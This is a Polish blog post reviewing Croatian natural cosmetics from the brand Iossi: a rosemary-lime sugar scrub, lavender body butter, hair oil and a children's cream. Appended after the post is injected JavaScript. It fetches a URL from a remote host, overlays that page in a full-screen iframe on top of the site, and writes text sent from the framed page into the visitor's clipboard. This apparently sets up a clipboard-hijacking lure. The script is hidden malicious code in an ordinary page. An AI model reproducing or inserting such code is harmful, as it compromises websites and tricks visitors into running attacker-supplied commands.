Kosmetyki z Chorwacją w tle

Chyba wszystkie kobiety kochają kosmetyki, ja również należę do tej grupy. Od kilku lat nie skupuję bezmyślnie kosmetyków w supermarketach, gdzie później miałam ich cale pęczki. Teraz sprawdzam składy oraz gdzie zostały wyprodukowane. Stawiam na jakość, a nie na ilość. Lubię gdy są naturalne i piękne pachną.

Chorwacja zniewala i czaruje zapachami lawendy, rozmarynu czy szałwii. Zapachy – ich uwodzicielska moc potrafi zauroczyć i pozostać w pamięci na wiele lat.

Długo szukałam kosmetyków, które pachniały by tak naturalnie, a zarazem intensywnie lawendą i rozmarynem. Udało się takie znaleźć, to kosmetyki naturalne – Iossi. W mojej paczce znalazły się kosmetyki do ciała, do twarzy, do włosów i  dla dzieci. 

Wszystkie produkty przetestowałam przez długi okres i mogę stwierdzić, ze to jedne z najlepszych kosmetyków jakie używałam.

Peeling do ciała z rozmarynem

Moim Hitem jest peeling cukrowy. Odświeżający Rozmaryn i Limonka.

Peeling cukrowy z solą epson i rozmarynem świetnie złuszcza martwy naskórek, wygładza oraz nawilża skórę działając energetyzująco i odświeżająco. Skóra uzyskuje piękny kolor i długo pozostaje pachnąca wyjątkowym połączeniem rozmarynu i limonki.

Dla mnie to jeden z najbardziej skutecznych peelingów jakie używałam. Do tego zapach rozmarynu i limonki, nie spotkałam jeszcze, aby kosmetyk mógł pachnieć tak naturalnie, a zarazem intensywnie. Po użyciu kosmetyku zapach na skórze czuć kilka godzin. Skora jest wygładzona i jedwabiście gładka. Dla mnie to najlepszy peeling jak używam od dawna!

Nawilżające masło do ciała. Lawenda

Nawilżający mus do ciała o orzeźwiającym zapachu lawendy. Super pielęgnuje skórę, pozostawiając ją przyjemną w dotyku i elastyczną. Kompozycja zawartych w nim organicznych maseł, olei i olejków eterycznych ma za zadanie dogłębnie nawilżyć skórę, zregenerować ją i ochronić przed szkodliwymi czynnikami zewnętrznymi.

Masło pozostawia po sobie miłą konsystencję. Jestem zachwycona zapachem lawendy. Konsystencja masła powoduje, ze kosmetyk fajnie się rozprowadza na ciele i pozostawia lekko tłusty filtr. Działa nawilżająco i zapach utrzymuje się naprawdę długo.

Wzmacniający olej do włosów. Rozmaryn i Lawenda

Olejek do włosów o wyjątkowych właściwościach wzmacniających i regenerujących. Włosy stają się gęste, miękkie w dotyku i błyszczące. Wzmacnia cebulki, regeneruje powierzchnię włosów jednocześnie stymulując ich wzrost.

Olejki eteryczne rozmarynu i lawendy pobudzają cebulki włosów. Olej z pestek dyni zapobiega wypadaniu włosów i odnawia rozdwojone końcówki, olej z orzechów makadamia, wysoko ceniony za swoje właściwości wnikania w strukturę włosa, nawilża je i chroni przed szkodliwym wpływem promieni UV i zanieczyszczeniem środowiska. Nie bez znaczenia jest tu także wyciąg z chmielu – od wieków używany w celu poprawienia kondycji skóry głowy.

Do tego produktu nie byłam na początku przekonana. Często kosmetyki z olejami obciążają mi włosy, ale w tym przepadku tak nie było. Po kilku miesiącach używania włosy faktycznie stały się bardziej miękkie i lśniące, zapach rozmarynu i lawendy powala.

Krem ochronny dla dzieci lawenda i rumianek

Naturalny krem ochronny przeznaczony do delikatnej skóry dzieci od 6 miesiąca. Nawilża, natłuszcza i łagodzi podrażnienia. Skutecznie chroni przed działaniem czynników atmosferycznych – wiatru i mrozu. Delikatny w konsystencji i łatwy w aplikacji – można go stosować na twarz i całe ciało. Składniki kremu są w 100% naturalne i w 94% pochodzą z certyfikowanych upraw organicznych.

Krem przetestowałam zimą na moich dzieciach. Córeczka 4 lata, synek miał wtedy niecały roczek. Krem świetnie się sprawdził, nie uczulił, dobrze chronił przed wiatrem i mrozem. Do tego naturalny skład, w przypadku dzieci jest dla mnie bardzo ważny. U nas bardzo dobrze odegrał swoją rolę.

Za firmą stoi Joanna, której kosmetyki to pasja, zresztą widać to w jej kosmetykach. Tu możecie zobaczyć jak łatwo zrobić samemu peeling.

https://www.youtube.com/watch?v=Uvtwf3RiqaI

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();